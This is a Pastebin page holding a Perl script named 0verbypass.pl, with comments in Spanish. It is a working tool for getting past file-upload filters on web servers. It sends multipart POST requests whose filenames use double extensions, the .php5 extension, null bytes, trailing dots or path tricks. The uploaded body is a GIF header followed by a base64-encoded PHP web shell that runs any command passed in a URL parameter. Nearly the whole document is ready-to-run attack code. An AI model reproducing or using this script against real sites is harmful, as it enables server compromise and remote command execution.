Advertisement
Guest User

0verbypass.pl

a guest
Aug 28th, 2011
745
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Perl 3.14 KB | None | 0 0
  1. ###################0verbypass.pl v0.1###################
  2. #   Esta herramienta está diseñada para bypassear los  #
  3. #   uploaders utilizando los métodos más comunes que   #
  4. #   se suelen usar. Para cada uploader hay que cambiar #        
  5. #   name=\"archivo\"; en la línea 52                   #
  6. ########################################################
  7. #  Autor: The X-C3LL (overloadblog at hotmail dot com) #
  8. #  Blog: 0verl0ad.blogspot.com                         #
  9. ########################################################
  10. #  Uso: perl 0verbypass.pl [HOST] [FILE] [OPTION]      #
  11. #                                                      #
  12. #   -[Opciones]-                                       #
  13. # -d Doble extension                                   #
  14. # -x Extensiones menos conocidas                       #
  15. # -n Null byte                                         #
  16. # -l Puntos al final                                   #
  17. # -p Normalizacion de rutas                            #
  18. ########################################################
  19. #              Agradecimientos a Seth                  #
  20. ########################################################
  21.  
  22.  
  23. use IO::Socket;
  24. use MIME::Base64;
  25.  
  26. $host = $ARGV[0];
  27. $php = $ARGV[1];
  28. $opt = $ARGV[2];
  29.  
  30. if ($opt eq "-d"){ &cabecera($host,$php,"0verl0ad.gIf.PhP","228"); } elsif ($opt eq "-x") { &cabecera($host,$php,"0verl0ad.PhP5","226"); }
  31. elsif ($opt eq "-n") { &cabecera($host,$php,'0verl0ad.pHP\0.gif',"227"); } elsif ($opt eq "-l"){ &cabecera($host,$php,"0verl0ad.PhP. ..","229"); }
  32. elsif ($opt eq "-p") { &cabecera($host,$php,"0verl0ad.pHp/././././././././././","246");}
  33. else { &help; }
  34.  
  35.  
  36.  
  37.  
  38.  
  39. sub cabecera{
  40.  
  41. print q (
  42. -=======[0verbypass.pl v0.1]=======-
  43.  
  44. [+] Conectando con el host...
  45. );
  46.  
  47.  
  48. $peticion = "POST $_[1] HTTP/1.1\n";
  49. $peticion .= "Host: $_[0]";
  50. $peticion .= "\nAccept-Encoding: gzip, deflate\nContent-Type: multipart/form-data; boundary=---------------------------14171267928964\nContent-Length: $_[3]\n\n";
  51.  
  52. $peticion .= "-----------------------------14171267928964\nContent-Disposition: form-data; name=\"archivo\"; filename=\"$_[2]\"";
  53. $peticion .= "\nContent-Type: image/gif\n\n";
  54.  
  55. $peticion .= "GIF89a";
  56. $peticion .= decode_base64("PD9waHAgc3lzdGVtKCRfR0VUWydmdWNrJ10pOyA/Pg==");
  57. $peticion .= "\n-----------------------------14171267928964--\n\n";
  58. $socket = IO::Socket::INET->new(
  59.                                 Proto => "tcp",
  60.                                 PeerAddr => $_[0],
  61.                                 PeerPort => "80",
  62.                                 ) || die "[-] Error: no se pudo conectar con el host";
  63.  
  64.  
  65. print "[+] Enviando peticion...\n\n";
  66. print $socket $peticion;
  67. print $peticion;
  68. print "[+] Peticion enviada\n";
  69. @server = <$socket>;
  70.   if ($server[0] =~ /200/ ) {
  71.        print "[+] Archivo subido correctamente\n";
  72.   } else { print "[-] Error: el archivo no pudo subirse";
  73.  
  74. }
  75.  
  76. close($peticion);
  77.  
  78. }
  79.  
  80.  
  81. sub help {
  82. print q(
  83. -=======[0verbypass.pl v0.1]=======-
  84.  
  85. Usage: perl 0verbypass.pl [HOST] [FILE] [OPTION]
  86.  
  87. -=[OPTIONS]=-
  88. -d Doble extension
  89. -x Extensiones menos conocidas
  90. -n Null byte
  91. -l Puntos al final
  92. -p Normalizacion de rutas
  93.  
  94. );
  95.  
  96. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement